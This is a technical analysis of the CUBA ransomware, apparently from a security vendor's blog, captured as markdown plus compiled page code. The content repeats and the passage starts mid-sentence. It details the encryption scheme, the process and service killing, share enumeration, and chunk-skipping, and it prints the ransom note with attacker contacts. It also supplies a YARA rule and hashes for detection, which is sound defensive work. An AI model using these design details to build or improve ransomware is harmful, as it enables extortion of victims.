below.\n\n![](/assets/images/cuba-ransomware-malware-analysis/image16-cuba-ransomware-elastic.jpg)\n\nThen CUBA writes the 1024 byte header and if the file is larger than 2 MB it reads 1 MB of data at a time from the file and encrypts it with the ChaCha20 cipher. Otherwise, it will read and encrypt the entire contents at once.\n\n![](/assets/images/cuba-ransomware-malware-analysis/image1-cuba-ransomware-elastic.jpg)\n\nThe malware encrypts the file in 1 MB chunks and, depending on the file’s size, it will skip a preset number of bytes. This is done primarily to speed up the encryption process of large files, below is a table to illustrate.\n\n| | | |\n| ---------------- | -------------------- | ------------ |\n| File Size | Chunk Size | Skipped Size |\n| Less than 2 MB | All the file content | 0 MB |\n| Less than 10 MB | 1MB | 4 MB |\n| Less than 50 MB | 1MB | 8 MB |\n| Less than 200 MB | 1MB | 16 MB |\n| Less than 10 GB | 1MB | 200 MB |\n| More than 10 GB | 1MB | 500 MB |\n\nFinally, it will rename the file by adding the extension .cuba.\n\n![](/assets/images/cuba-ransomware-malware-analysis/image9-cuba-ransomware-elastic.jpg)\n\n![](/assets/images/cuba-ransomware-malware-analysis/image4-cuba-ransomware-elastic.jpg)\n\n## MITRE ATT\u0026CK Techniques\n\nUsing the MITRE ATT\u0026CK® framework, techniques and sub techniques represent how an adversary achieves a tactical goal by performing an action.\n\n- [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486/)\n- [Network Share Discovery](https://attack.mitre.org/techniques/T1135/)\n- [Process Discovery](https://attack.mitre.org/techniques/T1057/)\n- [Service Stop](https://attack.mitre.org/techniques/T1489/)\n- [System Information Discovery](https://attack.mitre.org/techniques/T1082/)\n- [Indicator Removal on Host: File Deletion](https://attack.mitre.org/techniques/T1070/004/)\n- [Obfuscated Files or Information: Software Packing](https://attack.mitre.org/techniques/T1027/002/)\n- [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016/)\n- [System Location Discovery: System Language Discovery](https://attack.mitre.org/techniques/T1614/001/)\n- [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486/)\n- [Access Token Manipulation](https://attack.mitre.org/techniques/T1134/)\n\n## Appendix\n\n### List of Terminated Processes\n\n- sqlagent.exe\n- sqlservr.exe\n- sqlwriter.exe\n- sqlceip.exe\n- msdtc.exe\n- sqlbrowser.exe\n- vmwp.exe\n- vmsp.exe\n- outlook.exe\n- Microsoft.Exchange.Store.Worker.exe\n\n### List of Terminated Services\n\n- MySQL\n- MySQL80\n- SQLSERVERAGENT\n- MSSQLSERVER\n- SQLWriter\n- SQLTELEMETRY\n- MSDTC\n- SQLBrowser\n- vmcompute\n- vmms\n- MSExchangeUMCR\n- MSExchangeUM\n- MSExchangeTransportLogSearch\n- MSExchangeTransport\n- MSExchangeThrottling\n- MSExchangeSubmission\n- MSExchangeServiceHost\n- MSExchangeRPC\n- MSExchangeRepl\n- MSExchangePOP3BE\n- MSExchangePop3\n- MSExchangeNotificationsBroker\n- MSExchangeMailboxReplication\n- MSExchangeMailboxAssistants\n- MSExchangeIS\n- MSExchangeIMAP4BE\n- MSExchangeImap4\n- MSExchangeHMRecovery\n- MSExchangeHM\n- MSExchangeFrontEndTransport\n- MSExchangeFastSearch\n- MSExchangeEdgeSync\n- MSExchangeDiagnostics\n- MSExchangeDelivery\n- MSExchangeDagMgmt\n- MSExchangeCompliance\n- MSExchangeAntispamUpdate\n\n### Excluded Directories\n\n- \\windows\\\n- \\program files\\microsoft office\\\n- \\program files (x86)\\microsoft office\\\n- \\program files\\avs\\\n- \\program files (x86)\\avs\\\n- \\$recycle.bin\\\n- \\boot\\\n- \\recovery\\\n- \\system volume information\\\n- \\msocache\\\n- \\users\\all users\\\n- \\users\\default user\\\n- \\users\\default\\\n- \\temp\\\n- \\inetcache\\\n- \\google\\\n\n### Excluded File Extensions\n\n- .exe\n- .dll\n- .sys\n- .ini\n- .lnk\n- .vbm\n- .cuba\n\n## YARA Rule\n\nElastic Security has created YARA rules to identify CUBA ransomware activity.\n\n```\nrule Windows_Ransomware_Cuba {\n meta:\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Ransomware\"\n family = \"Cuba\"\n threat_name = \"Windows.Ransomware.Cuba\"\n Reference_sample = \"33352a38454cfc247bc7465bf177f5f97d7fd0bd220103d4422c8ec45b4d3d0e\"\n\n strings:\n $a1 = { 45 EC 8B F9 8B 45 14 89 45 F0 8D 45 E4 50 8D 45 F8 66 0F 13 }\n $a2 = { 8B 06 81 38 46 49 44 45 75 ?? 81 78 04 4C 2E 43 41 74 }\n $b1 = \"We also inform that your databases, ftp server and file server were downloaded by us to our servers.\" ascii fullword\n $b2 = \"Good day. All your files are encrypted. For decryption contact us.\" ascii fullword\n $b3 = \".cuba\" wide fullword\n\n condition:\n any of ($a*) or all of ($b*)\n}\n```\n\n## Observations\n\nAtomic indicators observed in our investigation.\n\n| | | |\n| ---------------------------------------------------------------- | ------ | --------------- |\n| Indicator | Type | Note |\n| 32beefe2c5e28e87357813c0ef91f47b631a3dff4a6235256aa123fc77564346 | SHA256 | CUBA Ransomware |\n| 0f385cc69a93abeaf84994e7887cb173e889d309a515b55b2205805bdfe468a3 | SHA256 | CUBA Ransomware |\n| bcf0f202db47ca671ed6146040795e3c8315b7fb4f886161c675d4ddf5fdd0c4 | SHA256 | CUBA Ransomware |\n\n## Artifacts\n\nArtifacts are also available for download in both ECS and STIX format in a combined zip bundle.\n","code":"var Component=(()=\u003e{var h=Object.create;var a=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var w=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),g=(i,e)=\u003e{for(var r in e)a(i,r,{get:e[r],enumerable:!0})},c=(i,e,r,l)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let t of p(e))!f.call(i,t)\u0026\u0026t!==r\u0026\u0026a(i,t,{get:()=\u003ee[t],enumerable:!(l=m(e,t))||l.enumerable});return i};var y=(i,e,r)=\u003e(r=i!=null?h(u(i)):{},c(e||!i||!i.__esModule?a(r,\"default\",{value:i,enumerable:!0}):r,i)),b=i=\u003ec(a({},\"__esModule\",{value:!0}),i);var o=w((v,s)=\u003e{s.exports=_jsx_runtime});var C={};g(C,{default:()=\u003eE,frontmatter:()=\u003eS});var n=y(o()),S={title:\"CUBA Ransomware Malware Analysis\",slug:\"cuba-ransomware-malware-analysis\",date:\"2023-02-14\",description:\"Elastic Security has performed a deep technical analysis of the CUBA ransomware family. This includes malware capabilities as well as defensive countermeasures.\",author:[{slug:\"salim-bitam\"}],image:\"blog-thumb-coin-stacks.jpg\",category:[{slug:\"malware-analysis\"}],tags:[\"ref9019\",\"cuba\",\"ransomware\"]};function d(i){let e=Object.assign({h2:\"h2\",p:\"p\",ul:\"ul\",li:\"li\",h3:\"h3\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\",blockquote:\"blockquote\",a:\"a\",pre:\"pre\",code:\"code\",img:\"img\",strong:\"strong\"},i.components);return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(e.h2,{id:\"summary\",children:\"Summary\"}),`\n`,(0,n.jsx)(e.p,{children:\"As a part of Elastic Security\\u2019s ongoing threat detection and monitoring efforts, we have recently observed a ransomware intrusion by the CUBA ransomware threat group, internally tracked as REF9019. This report will detail the inner workings of the ransomware deployed inside the network to encrypt the victim\\u2019s files. Cuba ransomware provides the attacker with the flexibility to encrypt both local and network shares files in the enterprise. CUBA uses the ChaCha20 cipher algorithm for symmetric encryption and RSA encryption to protect the ChaCha20 keys. CUBA is multithreaded for faster encryption with resource access synchronization to avoid file corruption.\"}),`\n`,(0,n.jsx)(e.p,{children:\"In this analysis we will describe the following:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"Operations mode\"}),`\n`,(0,n.jsx)(e.li,{children:\"Process and services termination\"}),`\n`,(0,n.jsx)(e.li,{children:\"Enumeration of volumes\"}),`\n`,(0,n.jsx)(e.li,{children:\"Threading implementation\"}),`\n`,(0,n.jsx)(e.li,{children:\"File encryption and algorithms used\"}),`\n`,(0,n.jsx)(e.li,{children:\"MITRE Attack mapping\"}),`\n`,(0,n.jsx)(e.li,{children:\"YARA rule\"}),`\n`,(0,n.jsx)(e.li,{children:\"Indicators of compromise\"}),`\n`]}),`\n`,(0,n.jsx)(e.h3,{id:\"static-analysis\",children:\"Static Analysis\"}),`\n`,(0,n.jsx)(e.p,{children:`| | |\n| --------------- | ---------------------------------------------------------------- | --- |\n| SHA256 Packed | 0f385cc69a93abeaf84994e7887cb173e889d309a515b55b2205805bdfe468a3 |\n| SHA256 Unpacked | 3654af86dc682e95c811e4fd87ea405b627bca81c656f3a520a4b24bf2de879f |\n| File Size | 135168 bytes |\n| FileType: | Executable |\n| Imphash: | CA5F4AF10ABC885182F3FB9ED425DE65 |\n| Compile Time | Wed Mar 09 22:00:31 2022 | UTC |\n| Entropy | 6.582 |`}),`\n`,(0,n.jsx)(e.h3,{id:\"sections\",children:\"Sections\"}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{}),(0,n.jsx)(e.th,{}),(0,n.jsx)(e.th,{}),(0,n.jsx)(e.th,{}),(0,n.jsx)(e.th,{}),(0,n.jsx)(e.th,{})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"Name\"}),(0,n.jsx)(e.td,{children:\"VirtualAddress\"}),(0,n.jsx)(e.td,{children:\"Virtual Size\"}),(0,n.jsx)(e.td,{children:\"Raw Size\"}),(0,n.jsx)(e.td,{children:\"Entropy\"}),(0,n.jsx)(e.td,{children:\"MD5\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\".text\"}),(0,n.jsx)(e.td,{children:\"0x00401000\"}),(0,n.jsx)(e.td,{children:\"0x13B5F\"}),(0,n.jsx)(e.td,{children:\"0x13C00\"}),(0,n.jsx)(e.td,{children:\"6.608\"}),(0,n.jsx)(e.td,{children:\"931B22064E9E214BF59A4E07A6CA9109\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\".rdata\"}),(0,n.jsx)(e.td,{children:\"0x00415000\"}),(0,n.jsx)(e.td,{children:\"0xA71C\"}),(0,n.jsx)(e.td,{children:\"0xA800\"}),(0,n.jsx)(e.td,{children:\"5.855\"}),(0,n.jsx)(e.td,{children:\"F6F97411BCD64126A96B08BA9AE1E775\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\".data\"}),(0,n.jsx)(e.td,{children:\"0x00420000\"}),(0,n.jsx)(e.td,{children:\"0x16B0\"}),(0,n.jsx)(e.td,{children:\"0xC00\"}),(0,n.jsx)(e.td,{children:\"3.450\"}),(0,n.jsx)(e.td,{children:\"03B1B11B4531BB656E43A8B457D4A5F7\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\".rsrc\"}),(0,n.jsx)(e.td,{children:\"0x00422000\"}),(0,n.jsx)(e.td,{children:\"0x1E0\"}),(0,n.jsx)(e.td,{children:\"0x200\"}),(0,n.jsx)(e.td,{children:\"4.704\"}),(0,n.jsx)(e.td,{children:\"F754ADBD7F5D6195FD6D527001CAB98C\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\".reloc\"}),(0,n.jsx)(e.td,{children:\"0x00423000\"}),(0,n.jsx)(e.td,{children:\"0x1200\"}),(0,n.jsx)(e.td,{children:\"0x1200\"}),(0,n.jsx)(e.td,{children:\"6.573\"}),(0,n.jsx)(e.td,{children:\"08B0994DAECAAAA4173B388A80CC52FE\"})]})]})]})}),`\n`,(0,n.jsxs)(e.blockquote,{children:[`\n`,(0,n.jsx)(e.p,{children:\"For information on the CUBA ransomware campaign and associated malware analysis, check out our blog posts detailing this:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis\",rel:\"nofollow\",children:\"CUBA Campaign Analysis\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/bughatch-malware-analysis\",rel:\"nofollow\",children:\"BUGHATCH Malware Analysis\"})}),`\n`]}),`\n`]}),`\n`,(0,n.jsx)(e.h3,{id:\"imports\",children:\"Imports\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`GetProcessImageFileNameW\nEnumProcesses\nNetApiBufferFree\nNetShareEnum\nGetIpNetTable\nPathFindFileNameW\nFindFirstFileExW\nFindFirstFileW\nFindNextFileW\nWriteFile\nSetFileAttributesW\nMoveFileExW\nFindFirstVolumeW\nTerminateProcess\nGetEnvironmentStringsW\nOpenProcess\nGetCurrentProcessId\nCreateProcessW\nGetVolumePathNamesForVolumeNameW\nFindNextVolumeW\nGetCurrentThreadId\nRaiseException\nGetModuleHandleExW\nOpenProcessToken\nCryptAcquireContextA\nCryptGenRandom\nCryptReleaseContext\nAdjustTokenPrivileges\nLookupPrivilegeValueA\nControlService\nChangeServiceConfigW\nPathAddBackslashW\nGetCPInfo\nGetOEMCP\nIsValidCodePage\nlstrcpynW\nInterlockedDecrement\nFindClose\nCreateFileW\nSleep\nlstrcatW\nCloseHandle\nCreateThread\nlstrcpyW\nlstrcmpW\nReadFile\nGetFileSizeEx\nEnterCriticalSection\nGetCurrentProcess\nGetModuleFileNameW\nLeaveCriticalSection\nGetCommandLineA\nWaitForSingleObject\nGetLastError\nSetEvent\nGetDiskFreeSpaceExW\nResetEvent\nGetWindowsDirectoryW\nSetFilePointerEx\nExitProcess\nCreateEventA\nlstrcmpiW\nGetTickCount\nDeleteCriticalSection\nQueryPerformanceCounter\nSetStdHandle\nFreeEnvironmentStringsW\nGetCommandLineW\nDecodePointer\nGetStringTypeW\nGetProcessHeap\nFlushFileBuffers\nGetConsoleCP\nHeapSize\nWriteConsoleW\nInitializeCriticalSection\nUnhandledExceptionFilter\nSetUnhandledExceptionFilter\nIsProcessorFeaturePresent\nInitializeCriticalSectionAndSpinCount\nWaitForSingleObjectEx\nCreateEventW\nGetModuleHandleW\nGetProcAddress\nIsDebuggerPresent\nGetStartupInfoW\nGetSystemTimeAsFileTime\nInitializeSListHead\nRtlUnwind\nSetLastError\nEncodePointer\nTlsAlloc\nTlsGetValue\nTlsSetValue\nTlsFree\nFreeLibrary\nLoadLibraryExW\nGetFileType\nGetStdHandle\nMultiByteToWideChar\nWideCharToMultiByte\nGetACP\nHeapFree\nHeapAlloc\nLCMapStringW\nHeapReAlloc\nGetConsoleMode\nCharLowerW\nGetKeyboardLayoutList\nwsprintfW\nCloseServiceHandle\nOpenSCManagerW\nOpenServiceW\nQueryServiceStatusEx\n`})}),`\n`,(0,n.jsx)(e.h3,{id:\"strings\",children:\"Strings\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`Good day. All your files are encrypted. For decryption contact us.\nWrite here waterstatus@cock.li\nreserve admin@encryption-support.com\njabber cuba_support@exploit.im\nWe also inform that your databases, ftp server and file server were downloaded by us to our servers.\nIf we do not receive a message from you within three days, we regard this as a refusal to negotiate.\nCheck our platform: http://cuba4ikm4jakjgmkezytyawtdgr2xymvy6nvzgw5cglswg3si76icnqd.onion/\n* Do not rename encrypted files.\n* Do not try to decrypt your data using third party software,\n it may cause permanent data loss.\n* Do not stop process of encryption, because partial encryption cannot be decrypted.\n!! READ ME !!.txt\n`})}),`\n`,(0,n.jsx)(e.h2,{id:\"code-analysis\",children:\"Code Analysis\"}),`\n`,(0,n.jsx)(e.h3,{id:\"entry-point\",children:\"Entry Point\"}),`\n`,(0,n.jsx)(e.p,{children:\"The malware starts by retrieving the active input locale identifier of the victim using the GetKeyboardLayout API. When the Russian language is in the list of supported languages of the machine, the process deletes and terminates itself with a simple command line: c:\\\\system32\\\\cmd.exe c/ del PATH_TO_BINARY without encrypting the file system.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/cuba-ransomware-malware-analysis/image5-cuba-ransomware-elastic.jpg\",alt:\"\",width:\"447\",height:\"271\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"command-line-options\",children:\"Command-line Options\"}),`\n`,(0,n.jsx)(e.p,{children:\"The threat actor included 4 different operations based on the following command-line arguments:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"The network keyword\"}),`\n`,(0,n.jsx)(e.li,{children:\"An IP keyword\"}),`\n`,(0,n.jsx)(e.li,{children:\"A path keyword\"}),`\n`,(0,n.jsxs)(e.li,{children:[`The local keyword\n`,(0,n.jsx)(e.img,{src:\"/assets/images/cuba-ransomware-malware-analysis/image12-cuba-ransomware-elastic.jpg\",alt:\"\",width:\"344\",height:\"354\"})]}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Network keyword parameter\"})}),`\n`,(0,n.jsx)(e.p,{children:\"When specifying the network keyword, the malware retrieves the Address Resolution Protocol (ARP) table of the machine using the GetIpNetTable Windows API and enumerates the shares of each IP in the ARP table, this information is added to a linked list that will be accessed by the encryption capability, which will be discussed further below in detail.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/cuba-ransomware-malware-analysis/image13-cuba-ransomware-elastic.jpg\",alt:\"\",width:\"1341\",height:\"786\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"IP keyword parameter\"})}),`\n`,(0,n.jsx)(e.p,{children:\"By specifying an IP address as the first parameter in the command line the malware proceeds by enumerating and encrypting every share found for the specified IP.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Path keyword parameter\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The malware will encrypt the local directory contents, or the file provided, as the first parameter of the command-line.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Local keyword parameter\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The local keyword is used to encrypt every local volume on the machine, and because the malware targets volumes by their ID, it can encrypt both mounted and unmounted volumes.\"}),`\n`,(0,n.jsx)(e.h3,{id:\"process-termination\",children:\"Process Termination\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"CUBA starts by acquiring SeDebugPrivilege and then terminates a hardcoded list of processes and services using a common Windows API (see appendix for list [\",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis#list-of-terminated-processes\",rel:\"nofollow\",children:\"1\"}),\"], [\",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis#list-of-terminated-services\",rel:\"nofollow\",children:\"2\"}),\"]). For some services, the malware first tries to disable the service\\u2013 indicated by the second parameter of TerminateProcesses::TerminateServiceByName function. This is mainly done to prevent interference with the encryption process by applications that may lock files from external changes, for example, databases.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/cuba-ransomware-malware-analysis/image8-cuba-ransomware-elastic.jpg\",alt:\"\",width:\"668\",height:\"514\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"local-volume-enumeration\",children:\"Local Volume Enumeration\"}),`\n`,(0,n.jsx)(e.p,{children:\"The malware enumerates all the local volumes and for each volume larger than 1GB it saves the volume\\u2019s GUID in a custom linked list. The ransomware utilizes the CriticalSection object to access this linked list for synchronization purposes due to multiple threads accessing the same resource. This helps to avoid two threads encrypting the same file at the same time, a race condition that would corrupt the file.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/cuba-ransomware-malware-analysis/image6-cuba-ransomware-elastic.jpg\",alt:\"\",width:\"797\",height:\"249\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/cuba-ransomware-malware-analysis/image2-cuba-ransomware-elastic.jpg\",alt:\"\",width:\"742\",height:\"254\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"multithreaded-encryption-synchronization\",children:\"Multithreaded Encryption Synchronization\"}),`\n`,(0,n.jsx)(e.p,{children:\"After preparing a list to encrypt, CUBA ransomware spawns encryption threads with the structure defined below as a parameter. Depending on the command line arguments, the malware starts 4 threads for local encryption or 8 threads for network encryption.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/cuba-ransomware-malware-analysis/image10-cuba-ransomware-elastic.jpg\",alt:\"\",width:\"717\",height:\"360\"})}),`\n`,(0,n.jsx)(e.p,{children:\"When a thread finishes its task, it will decrement a counter until it reaches 0: lpParameter-\\\\\u003eNumberOfThreadRunning. When the last thread completes, it will alert the program that the task is done with a call to SetEvent API, which will self delete and terminate the malware.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/cuba-ransomware-malware-analysis/image11-cuba-ransomware-elastic.jpg\",alt:\"\",width:\"520\",height:\"63\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"encryption-implementation\",children:\"Encryption Implementation\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The malware leverages the symmetric encryption algorithm ChaCha20 to encrypt files and the asymmetric encryption algorithm RSA to protect the ChaCha20 Key and Initialization Vector (IV). The author has utilized a customized version of \",(0,n.jsx)(e.a,{href:\"https://github.com/wolfSSL/wolfssl\",rel:\"nofollow\",children:\"WolfSSL\"}),\", an open source SSL/TLS library, to implement this capability. Other samples (2957226fc315f71dc22f862065fe376efab9c21d61bbc374dde34d47cde85658) implemented a similar function using the \",(0,n.jsx)(e.a,{href:\"https://github.com/libtom/libtomcrypt\",rel:\"nofollow\",children:\"libtomcrypt\"}),\" library. Other implementations may exist that are not described here.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"The ransomware allocates a large custom structure called block that contains all the required encryption information. It then initializes an RsaKey structure with \",(0,n.jsx)(e.a,{href:\"https://www.wolfssl.com/doxygen/group__RSA.html#ga02c9b34d405c5f1c24956ee84a843ef6\",rel:\"nofollow\",children:\"wc_InitRsaKey\"}),\" and decodes an embedded 4096 bit RSA public key in \",(0,n.jsx)(e.a,{href:\"https://wiki.openssl.org/index.php/DER\",rel:\"nofollow\",children:\"DER\"}),\" format using \",(0,n.jsx)(e.a,{href:\"https://www.wolfssl.com/doxygen/group__RSA.html#ga2610326206b322f33f59e31a845e24b9\",rel:\"nofollow\",children:\"wc_RsaPublicKeyDecode\"}),\" which it saves to block.PubRsaKey.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/cuba-ransomware-malware-analysis/image7-cuba-ransomware-elastic.jpg\",alt:\"\",width:\"630\",height:\"340\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"file-enumeration\",children:\"File Enumeration\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Each thread takes an entry from the linked list and starts recursively enumerating files starting from the root of the volume. In the case of a specific directory, the same function is called recursively except for specific directories (see \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis#excluded-directories\",rel:\"nofollow\",children:\"appendix\"}),\" for list). Otherwise, it will ignore the ransom note file !! READ ME !!.txt and files with specific extensions (see \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis#excluded-file-extensions\",rel:\"nofollow\",children:\"appendix\"}),\" for list).\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/cuba-ransomware-malware-analysis/image15-cuba-ransomware-elastic.jpg\",alt:\"\",width:\"795\",height:\"743\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The malware uses \",(0,n.jsx)(e.a,{href:\"https://www.wolfssl.com/doxygen/group__Random.html#ga9a289fb3f58f4a5f7e15c2b5a1b0d7c6\",rel:\"nofollow\",children:\"wc_RNG_GenerateBlock\"}),\" a WolfSSL function, to randomly generate 44 bytes. The first 32 bytes of that are used as the ChaCha20 key and the other 12 bytes are used as the IV, it then calls a function to initiate the ChaCha20 structure block.chacha20_KeyIv that will be later used to encrypt the file content. At this point, the ransomware is ready to start encrypting and writing to the file.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/cuba-ransomware-malware-analysis/image14-cuba-ransomware-elastic.jpg\",alt:\"\",width:\"758\",height:\"65\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Before encrypting a file, Cuba ransomware prepends a 1024 byte header, the first 256 bytes are the string FIDEL.CA and some DWORD bytes values, the next 512 bytes are the encrypted ChaCha20 KEY/IV with the public RSA key and the rest is padded with 0.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/cuba-ransomware-malware-analysis/image3-cuba-ransomware-elastic.jpg\",alt:\"\",width:\"783\",height:\"902\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Before starting the encryption, the malware double checks if the file was already encrypted by comparing the first 8 bytes of the file to the header string FIDEL.CA. If equal, the malware terminates the encryption process as described below.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/cuba-ransomware-malware-analysis/image16-cuba-ransomware-elastic.jpg\",alt:\"\",width:\"607\",height:\"155\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Then CUBA writes the 1024 byte header and if the file is larger than 2 MB it reads 1 MB of data at a time from the file and encrypts it with the ChaCha20 cipher. Otherwise, it will read and encrypt the entire contents at once.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/cuba-ransomware-malware-analysis/image1-cuba-ransomware-elastic.jpg\",alt:\"\",width:\"755\",height:\"634\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The malware encrypts the file in 1 MB chunks and, depending on the file\\u2019s size, it will skip a preset number of bytes. This is done primarily to speed up the encryption process of large files, below is a table to illustrate.\"}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{}),(0,n.jsx)(e.th,{}),(0,n.jsx)(e.th,{})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"File Size\"}),(0,n.jsx)(e.td,{children:\"Chunk Size\"}),(0,n.jsx)(e.td,{children:\"Skipped Size\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"Less than 2 MB\"}),(0,n.jsx)(e.td,{children:\"All the file content\"}),(0,n.jsx)(e.td,{children:\"0 MB\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"Less than 10 MB\"}),(0,n.jsx)(e.td,{children:\"1MB\"}),(0,n.jsx)(e.td,{children:\"4 MB\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"Less than 50 MB\"}),(0,n.jsx)(e.td,{children:\"1MB\"}),(0,n.jsx)(e.td,{children:\"8 MB\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"Less than 200 MB\"}),(0,n.jsx)(e.td,{children:\"1MB\"}),(0,n.jsx)(e.td,{children:\"16 MB\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"Less than 10 GB\"}),(0,n.jsx)(e.td,{children:\"1MB\"}),(0,n.jsx)(e.td,{children:\"200 MB\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"More than 10 GB\"}),(0,n.jsx)(e.td,{children:\"1MB\"}),(0,n.jsx)(e.td,{children:\"500 MB\"})]})]})]})}),`\n`,(0,n.jsx)(e.p,{children:\"Finally, it will rename the file by adding the extension .cuba.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/cuba-ransomware-malware-analysis/image9-cuba-ransomware-elastic.jpg\",alt:\"\",width:\"432\",height:\"79\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/cuba-ransomware-malware-analysis/image4-cuba-ransomware-elastic.jpg\",alt:\"\",width:\"822\",height:\"284\"})}),`\n`,(0,n.jsx)(e.h2,{id:\"mitre-attck-techniques\",children:\"MITRE ATT\u0026CK Techniques\"}),`\n`,(0,n.jsx)(e.p,{children:\"Using the MITRE ATT\u0026CK\\xAE framework, techniques and sub techniques represent how an adversary achieves a tactical goal by performing an action.\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1486/\",rel:\"nofollow\",children:\"Data Encrypted for Impact\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1135/\",rel:\"nofollow\",children:\"Network Share Discovery\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1057/\",rel:\"nofollow\",children:\"Process Discovery\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1489/\",rel:\"nofollow\",children:\"Service 